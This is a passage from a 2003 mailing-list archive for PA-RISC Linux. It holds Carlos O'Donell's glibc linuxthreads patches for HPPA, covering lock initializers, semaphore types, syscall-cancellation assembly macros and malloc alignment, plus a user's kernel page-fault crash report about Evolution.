+
+#ifndef _BITS_PTHREADTYPES_H
+#define _BITS_PTHREADTYPES_H	1
+
+#define __need_schedparam
+#include <bits/sched.h>
+
+/* We need 128-bit alignment for the ldcw semaphore.  At most, we are
+   assured of 64-bit alignment for stack locals and malloc'd data.  Thus,
+   we use a struct with four ints for the atomic lock type.  The locking
+   code will figure out which of the four to use for the ldcw semaphore.  */
+typedef volatile struct {
+  int lock[4];
+} __attribute__ ((aligned(16))) __atomic_lock_t;
+
+/* Fast locks (not abstract because mutexes and conditions aren't abstract). */
+struct _pthread_fastlock
+{
+  long int __status;		/* "Free" or "taken" or head of waiting list */
+  __atomic_lock_t __spinlock;	/* Used by compare_and_swap emulation.  Also,
+				   adaptive SMP lock stores spin count here. */
+};
+
+#ifndef _PTHREAD_DESCR_DEFINED
+/* Thread descriptors */
+typedef struct _pthread_descr_struct *_pthread_descr;
+# define _PTHREAD_DESCR_DEFINED
+#endif
+
+
+/* Attributes for threads.  */
+typedef struct __pthread_attr_s
+{
+  int __detachstate;
+  int __schedpolicy;
+  struct __sched_param __schedparam;
+  int __inheritsched;
+  int __scope;
+  size_t __guardsize;
+  int __stackaddr_set;
+  void *__stackaddr;
+  size_t __stacksize;
+} pthread_attr_t;
+
+
+/* Conditions (not abstract because of PTHREAD_COND_INITIALIZER */
+
+#ifdef __GLIBC_HAVE_LONG_LONG
+__extension__ typedef long long __pthread_cond_align_t;
+#else
+typedef long __pthread_cond_align_t;
+#endif
+
+typedef struct
+{
+  struct _pthread_fastlock __c_lock; /* Protect against concurrent access */
+  _pthread_descr __c_waiting;        /* Threads waiting on this condition */
+  char __padding[48 - sizeof (struct _pthread_fastlock)
+		 - sizeof (_pthread_descr) - sizeof (__pthread_cond_align_t)];
+  __pthread_cond_align_t __align;
+} pthread_cond_t;
+
+
+/* Attribute for conditionally variables.  */
+typedef struct
+{
+  int __dummy;
+} pthread_condattr_t;
+
+/* Keys for thread-specific data */
+typedef unsigned int pthread_key_t;
+
+
+/* Mutexes (not abstract because of PTHREAD_MUTEX_INITIALIZER).  */
+/* (The layout is unnatural to maintain binary compatibility
+    with earlier releases of LinuxThreads.) */
+typedef struct
+{
+  int __m_reserved;               /* Reserved for future use */
+  int __m_count;                  /* Depth of recursive locking */
+  _pthread_descr __m_owner;       /* Owner thread (if recursive or errcheck) */
+  int __m_kind;                   /* Mutex kind: fast, recursive or errcheck */
+  struct _pthread_fastlock __m_lock; /* Underlying fast lock */
+} pthread_mutex_t;
+
+
+/* Attribute for mutex.  */
+typedef struct
+{
+  int __mutexkind;
+} pthread_mutexattr_t;
+
+
+/* Once-only execution */
+typedef int pthread_once_t;
+
+
+#ifdef __USE_UNIX98
+/* Read-write locks.  */
+typedef struct _pthread_rwlock_t
+{
+  struct _pthread_fastlock __rw_lock; /* Lock to guarantee mutual exclusion */
+  int __rw_readers;                   /* Number of readers */
+  _pthread_descr __rw_writer;         /* Identity of writer, or NULL if none */
+  _pthread_descr __rw_read_waiting;   /* Threads waiting for reading */
+  _pthread_descr __rw_write_waiting;  /* Threads waiting for writing */
+  int __rw_kind;                      /* Reader/Writer preference selection */
+  int __rw_pshared;                   /* Shared between processes or not */
+} pthread_rwlock_t;
+
+
+/* Attribute for read-write locks.  */
+typedef struct
+{
+  int __lockkind;
+  int __pshared;
+} pthread_rwlockattr_t;
+#endif
+
+#ifdef __USE_XOPEN2K
+/* POSIX spinlock data type.  */
+typedef __atomic_lock_t pthread_spinlock_t;
+
+/* POSIX barrier. */
+typedef struct {
+  struct _pthread_fastlock __ba_lock; /* Lock to guarantee mutual exclusion */
+  int __ba_required;                  /* Threads needed for completion */
+  int __ba_present;                   /* Threads waiting */
+  _pthread_descr __ba_waiting;        /* Queue of waiting threads */
+} pthread_barrier_t;
+
+/* barrier attribute */
+typedef struct {
+  int __pshared;
+} pthread_barrierattr_t;
+
+#endif
+
+
+/* Thread identifiers */
+typedef unsigned long int pthread_t;
+
+#endif	/* bits/pthreadtypes.h */
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h	2002-08-26 18:39:55.000000000 -0400
+++ glibc-2.3.1/linuxthreads/sysdeps/unix/sysv/linux/hppa/bits/initspin.h	2003-01-15 18:24:49.000000000 -0500
@@ -17,11 +17,23 @@
    write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
    Boston, MA 02111-1307, USA.  */
 
+/* Initialize global spinlocks without cast, generally macro wrapped */
+#define __LT_SPINLOCK_ALT_INIT { { 1, 1, 1, 1, } }
+
 /* Initial value of a spinlock.  PA-RISC only implements atomic load
    and clear so this must be non-zero. */
-#define __LT_SPINLOCK_INIT 1
+#define __LT_SPINLOCK_INIT ((__atomic_lock_t) __LT_SPINLOCK_ALT_INIT)
+
+/* Macros for lock initializers, not using the above definition.
+   The above definition is not used in the case that static initializers
+   use this value. */
+#define __LOCK_INITIALIZER { 0, __LT_SPINLOCK_ALT_INIT }
+#define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_ALT_INIT }
+
+/* Used to initialize _pthread_fastlock's in non-static case */
+#define __LOCK_ALT_INITIALIZER ((struct _pthread_fastlock){ 0, __LT_SPINLOCK_INIT })
+
+/* Tell the rest of the code that the initializer is non-zero without
+   explaining it's internal structure */
+#define __LT_INITIALIZER_NOT_ZERO
 
-/* Macros for lock initializers, using the above definition. */
-#define __LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
-#define __ALT_LOCK_INITIALIZER { 0, __LT_SPINLOCK_INIT }
-#define __ATOMIC_INITIALIZER { 0, __LT_SPINLOCK_INIT }


From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] oldsemaphore fixup for hppa (4/3?)
Date: Fri, 10 Oct 2003 17:04:38 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20031010210438.GI6454__14862.2069428258$1416622862$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622862 32487 80.91.229.3 (22 Nov 2014 02:21:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:02 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 15:07:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73267484E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 15:07:56 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A84RC-0001sg-00; Fri, 10 Oct 2003 17:04:38 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (77% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19783

libc-alpha,

Wrote up the changelogs, reviewed them, and then forgot I had a small
patch to commit for oldsemaphore. This goes in with the first patch 1/3
that defines the generic libc changes required for linuxthreads to work
on HPPA.

Cheers,
Carlos
===

2003-10-10  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* linuxthreads/oldsemaphore.c:	sem_spinlock in struct old_sem_t 
	is an __atomic_lock_t.

--- libc/linuxthreads/oldsemaphore.c	25 May 2001 07:38:39 -0000	1.11
+++ libc/linuxthreads/oldsemaphore.c	21 Apr 2003 23:53:24 -0000
@@ -31,7 +31,7 @@
 
 typedef struct {
     long int sem_status;
-    int sem_spinlock;
+    __atomic_lock_t sem_spinlock;
 } old_sem_t;
 
 extern int __old_sem_init (old_sem_t *__sem, int __pshared, unsigned int __value);


From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] syscall cancellation support for HPPA
Date: Fri, 10 Oct 2003 17:08:45 -0400
Lines: 207
Approved: news@gmane.org
Message-ID: <20031010210845.GJ6454__42233.8358629078$1416622863$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622863 32491 80.91.229.3 (22 Nov 2014 02:21:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:03 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 15:12:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE06E49EB
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 15:12:04 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A84VB-0001tU-00; Fri, 10 Oct 2003 17:08:45 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (77% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19784

libc-alpha,

Passes testsuite.

Cheers,
Carlos.
===

2003-10-10  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* linuxthreads/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h: 
	New file.

--- libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ libc/linuxthreads/sysdeps/unix/sysv/linux/hppa/sysdep-cancel.h	2003-08-30 17:26:42.000000000 -0400
@@ -0,0 +1,190 @@
+/* Copyright (C) 2003 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Carlos O'Donell <carlos@baldric.uwo.ca>, 2003.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <sysdep.h>
+#ifndef __ASSEMBLER__
+# include <linuxthreads/internals.h>
+#endif
+
+#if !defined NOT_IN_libc || defined IS_IN_libpthread || defined IS_IN_librt
+
+# ifndef NO_ERROR
+#  define NO_ERROR -0x1000
+# endif
+
+# undef PSEUDO
+# define PSEUDO(name, syscall_name, args)				\
+  ENTRY (name)								\
+    SINGLE_THREAD_P					ASM_LINE_SEP	\
+    cmpib,<> 0,%ret0,Lpseudo_cancel			ASM_LINE_SEP	\
+    nop							ASM_LINE_SEP	\
+    DO_CALL(syscall_name, args)				ASM_LINE_SEP	\
+    /* DONE! */						ASM_LINE_SEP	\
+    bv 0(2)						ASM_LINE_SEP	\
+    nop							ASM_LINE_SEP	\
+  Lpseudo_cancel:					ASM_LINE_SEP	\
+    /* store return ptr */				ASM_LINE_SEP	\
+    stw %rp, -20(%sr0,%sp)				ASM_LINE_SEP	\
+    /* save syscall args */				ASM_LINE_SEP	\
+    PUSHARGS_##args /* MACRO */				ASM_LINE_SEP	\
+    STW_PIC						ASM_LINE_SEP	\
+    CENABLE /* FUNC CALL */				ASM_LINE_SEP	\
+    ldo 64(%sp), %sp					ASM_LINE_SEP	\
+    ldo -64(%sp), %sp					ASM_LINE_SEP	\
+    LDW_PIC						ASM_LINE_SEP	\
+    /* restore syscall args */				ASM_LINE_SEP	\
+    POPARGS_##args					ASM_LINE_SEP	\
+    /* save r4 in arg0 stack slot */			ASM_LINE_SEP	\
+    stw %r4, -36(%sr0,%sp)				ASM_LINE_SEP	\
+    /* save mask from cenable */			ASM_LINE_SEP	\
+    copy %ret0, %r4					ASM_LINE_SEP	\
+    ble 0x100(%sr2,%r0)					ASM_LINE_SEP    \
+    ldi SYS_ify (syscall_name), %r20			ASM_LINE_SEP	\
+    LDW_PIC						ASM_LINE_SEP	\
+    /* pass mask as arg0 to cdisable */			ASM_LINE_SEP	\
+    copy %r4, %r26					ASM_LINE_SEP	\
+    copy %ret0, %r4					ASM_LINE_SEP	\
+    CDISABLE						ASM_LINE_SEP	\
+    ldo 64(%sp), %sp					ASM_LINE_SEP	\
+    ldo -64(%sp), %sp					ASM_LINE_SEP	\
+    LDW_PIC						ASM_LINE_SEP	\
+    /* compare error */					ASM_LINE_SEP	\
+    ldi NO_ERROR,%r1					ASM_LINE_SEP	\
+    /* branch if no error */				ASM_LINE_SEP	\
+    cmpb,>>=,n %r1,%r4,Lpre_end				ASM_LINE_SEP	\
+    nop							ASM_LINE_SEP	\
+    SYSCALL_ERROR_HANDLER				ASM_LINE_SEP	\
+    ldo 64(%sp), %sp					ASM_LINE_SEP	\
+    ldo -64(%sp), %sp					ASM_LINE_SEP	\
+    /* No need to LDW_PIC */				ASM_LINE_SEP	\
+    /* make syscall res value positive */		ASM_LINE_SEP	\
+    sub %r0, %r4, %r4					ASM_LINE_SEP	\
+    /* store into errno location */			ASM_LINE_SEP	\
+    stw %r4, 0(%sr0,%ret0)				ASM_LINE_SEP	\
+    /* return -1 */					ASM_LINE_SEP	\
+    ldo -1(%r0), %ret0					ASM_LINE_SEP	\
+  Lpre_end:						ASM_LINE_SEP	\
+    ldw -20(%sr0,%sp), %rp             			ASM_LINE_SEP	\
+    /* No need to LDW_PIC */				ASM_LINE_SEP	\
+    ldw -36(%sr0,%sp), %r4				ASM_LINE_SEP
+
+/* Save arguments into our frame */
+# define PUSHARGS_0	/* nothing to do */
+# define PUSHARGS_1	PUSHARGS_0 stw %r26, -36(%sr0,%sp)	ASM_LINE_SEP
+# define PUSHARGS_2	PUSHARGS_1 stw %r25, -40(%sr0,%sp)	ASM_LINE_SEP
+# define PUSHARGS_3	PUSHARGS_2 stw %r24, -44(%sr0,%sp)	ASM_LINE_SEP
+# define PUSHARGS_4	PUSHARGS_3 stw %r23, -48(%sr0,%sp)	ASM_LINE_SEP
+# define PUSHARGS_5	PUSHARGS_4 /* Args are on the stack... */
+# define PUSHARGS_6	PUSHARGS_5
+
+/* Bring them back from the stack */
+# define POPARGS_0	/* nothing to do */
+# define POPARGS_1	POPARGS_0 ldw -36(%sr0,%sp), %r26	ASM_LINE_SEP
+# define POPARGS_2	POPARGS_1 ldw -40(%sr0,%sp), %r25	ASM_LINE_SEP
+# define POPARGS_3	POPARGS_2 ldw -44(%sr0,%sp), %r24	ASM_LINE_SEP
+# define POPARGS_4	POPARGS_3 ldw -48(%sr0,%sp), %r23	ASM_LINE_SEP
+# define POPARGS_5	POPARGS_4 ldw -52(%sr0,%sp), %r22	ASM_LINE_SEP
+# define POPARGS_6	POPARGS_5 ldw -54(%sr0,%sp), %r21	ASM_LINE_SEP
+
+# ifdef IS_IN_libpthread
+#  ifdef PIC
+#   define CENABLE .import __pthread_enable_asynccancel,code ASM_LINE_SEP \
+			bl __pthread_enable_asynccancel,%r2 ASM_LINE_SEP
+#   define CDISABLE .import __pthread_disable_asynccancel,code ASM_LINE_SEP \
+			bl __pthread_disable_asynccancel,%r2 ASM_LINE_SEP 
+#  else
+#   define CENABLE .import __pthread_enable_asynccancel,code ASM_LINE_SEP \
+			bl __pthread_enable_asynccancel,%r2 ASM_LINE_SEP
+#   define CDISABLE .import __pthread_disable_asynccancel,code ASM_LINE_SEP \
+			bl __pthread_disable_asynccancel,%r2 ASM_LINE_SEP 
+#  endif
+# elif !defined NOT_IN_libc
+#  ifdef PIC
+#   define CENABLE .import __libc_enable_asynccancel,code ASM_LINE_SEP \
+			bl __libc_enable_asynccancel,%r2 ASM_LINE_SEP 
+#   define CDISABLE	.import __libc_disable_asynccancel,code ASM_LINE_SEP \
+			bl __libc_disable_asynccancel,%r2 ASM_LINE_SEP 
+#  else
+#   define CENABLE .import __libc_enable_asynccancel,code ASM_LINE_SEP \
+			bl __libc_enable_asynccancel,%r2 ASM_LINE_SEP 
+#   define CDISABLE	.import __libc_disable_asynccancel,code ASM_LINE_SEP \
+			bl __libc_disable_asynccancel,%r2 ASM_LINE_SEP 
+#  endif
+# else
+#  ifdef PIC
+#   define CENABLE .import __librt_enable_asynccancel,code ASM_LINE_SEP \
+			bl __librt_enable_asynccancel,%r2 ASM_LINE_SEP 
+#   define CDISABLE .import __librt_disable_asynccancel,code ASM_LINE_SEP \
+			bl __librt_disable_asynccancel,%r2 ASM_LINE_SEP 
+#  else
+#   define CENABLE .import __librt_enable_asynccancel,code ASM_LINE_SEP \
+			bl __librt_enable_asynccancel,%r2 ASM_LINE_SEP 
+#   define CDISABLE .import __librt_disable_asynccancel,code ASM_LINE_SEP \
+			bl __librt_disable_asynccancel,%r2 ASM_LINE_SEP 
+#  endif
+# endif	
+
+/* p_header.multiple_threads is +12 from the pthread_descr struct start,
+   We could have called __get_cr27() but we really want less overhead */
+# define MULTIPLE_THREADS_OFFSET 0xC
+
+/* cr27 has been initialized to 0x0 by kernel */
+# define NO_THREAD_CR27 0x0
+			
+# ifdef IS_IN_libpthread
+#  define __local_multiple_threads __pthread_multiple_threads
+# elif !defined NOT_IN_libc
+#  define __local_multiple_threads __libc_multiple_threads
+# else
+#  define __local_multiple_threads __librt_multiple_threads
+# endif
+
+# ifndef __ASSEMBLER__
+ extern int __local_multiple_threads attribute_hidden;
+#  define SINGLE_THREAD_P __builtin_expect (__local_multiple_threads == 0, 1)
+# else
+/* This ALT version requires newer kernel support */
+#  define SINGLE_THREAD_P_MFCTL						\
+	mfctl %cr27, %ret0					ASM_LINE_SEP	\
+	cmpib,= NO_THREAD_CR27,%ret0,Lstp			ASM_LINE_SEP	\
+	nop							ASM_LINE_SEP	\
+	ldw MULTIPLE_THREADS_OFFSET(%sr0,%ret0),%ret0		ASM_LINE_SEP	\
+ Lstp:								ASM_LINE_SEP	
+#  ifdef PIC
+/* Slower version uses GOT to get value of __local_multiple_threads */
+#   define SINGLE_THREAD_P							\
+	addil LT%__local_multiple_threads, %r19			ASM_LINE_SEP	\
+	ldw RT%__local_multiple_threads(%sr0,%r1), %ret0	ASM_LINE_SEP	\
+	ldw 0(%sr0,%ret0), %ret0 				ASM_LINE_SEP
+#  else
+  /* Slow non-pic version using DP */
+#   define SINGLE_THREAD_P								\
+	addil LR%__local_multiple_threads-$global$,%r27  		ASM_LINE_SEP	\
+	ldw RR%__local_multiple_threads-$global$(%sr0,%r1),%ret0	ASM_LINE_SEP
+#  endif	
+# endif
+#elif !defined __ASSEMBLER__
+
+/* This code should never be used but we define it anyhow.  */
+# define SINGLE_THREAD_P (1)
+
+#endif
+/* !defined NOT_IN_libc || defined IS_IN_libpthread */
+
+


From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Remove 16-byte alignment for hppa
Date: Fri, 10 Oct 2003 17:17:52 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20031010211752.GK6454__5188.2185893648$1416622863$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622863 32495 80.91.229.3 (22 Nov 2014 02:21:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:03 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 15:21:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7ED249F2
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Oct 2003 15:21:10 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A84e0-0001uT-00; Fri, 10 Oct 2003 17:17:52 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (77% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19785

libc-alpha,

We no longer require malloc alignment to be 16. Our lock implementation
is flexible enough that this option is now irrelevant.

Cheers,
Carlos.
===

2003-10-10  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* sysdeps/hppa/Makefile: Remove -DMALLOC_ALIGNMENT=16.

--- glibc-2.3.1/sysdeps/hppa/Makefile	2003-01-20 23:47:12.000000000 -0500
+++ glibc-2.3.1/sysdeps/hppa/Makefile	2003-01-20 23:47:19.000000000 -0500
@@ -22,10 +22,6 @@
 # CFLAGS-.os += -ffunction-sections
 LDFLAGS-c_pic.os += -Wl,--unique=.text*
 
-ifeq ($(subdir),malloc)
-CFLAGS-malloc.c += -DMALLOC_ALIGNMENT=16
-endif

From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] evolution (1.4.5-1) do_page_fault?
Date: Fri, 10 Oct 2003 22:17:00 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <3F872FDC.2090408@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622863 32499 80.91.229.3 (22 Nov 2014 02:21:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:03 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 10 16:17:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70CF9484E
	for <parisc-linux@parisc-linux.org>; Fri, 10 Oct 2003 16:17:01 -0600 (MDT)
Original-Received: from [62.235.120.48] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A85ZE-0008I2-D0; Sat, 11 Oct 2003 00:17:00 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030930 Debian/1.4-5
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19786

Hi all,

The new evolution crash on my c110 [debian unstable] (even though I test 
successfully a previous release on my b2k) with a kernel 2.6test7pa5.

do_page_fault() pid=3917 command='evolution' type=7 address=0x413627db
vm_start = 0x41332000, vm_end = 0x413b3000

    YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 413c6bf0 41383947 00690d80
r04-07  413c7bf0 00000000 00000001 00000000
r08-11  0000000c 0030c7a8 41288844 0000007e
r12-15  001c622c 002d7830 000009e4 0013a078
r16-19  08000000 faf03260 0000003a 413c7bf0
r20-23  00154d1c 413627c0 00154c90 00002007
r24-27  00101006 00154c90 00690d80 000c1478
r28-31  00000001 00000019 faf03980 4185c657
sr0-3   00000000 00000088 00000000 00000088
sr4-7   00000088 00000088 00000088 00000088

IASQ: 00000088 00000088 IAOQ: 413627db 413627df
IIR: 687c0048    ISR: 00000088  IOR: 00690da4
CPU:        0   CR30: 10bd4000 CR31: 103cb000
ORIG_R28: 41a130a0
IAOQ[0]: 0x413627db
IAOQ[1]: 0x413627df
RP(r2): 0x41383947
     _______________________________
    < Your System ate a SPARC! Gah! >
     -------------------------------
            \   ^__^
             \  (xx)\_______
                (__)\       )\/\
                 U  ||----w |
                    ||     ||

I put the question because very surprised by this message?

Thanks for advise,
   Joel





From - Thu Nov 08 21:29:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] hppa machine-malloc.h
Date: Fri, 10 Oct 2003 22:20:19 +0000
Lines: 115
Approved: news@gmane.org
Message-ID: <3F8730A3.3020602__12513.4692680605$1416622864$gmane$org@tiscali.be>
References: <20031010204152.GE6454@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622864 32502 80.91.229.3 (22 Nov 2014 02:21:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:04 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
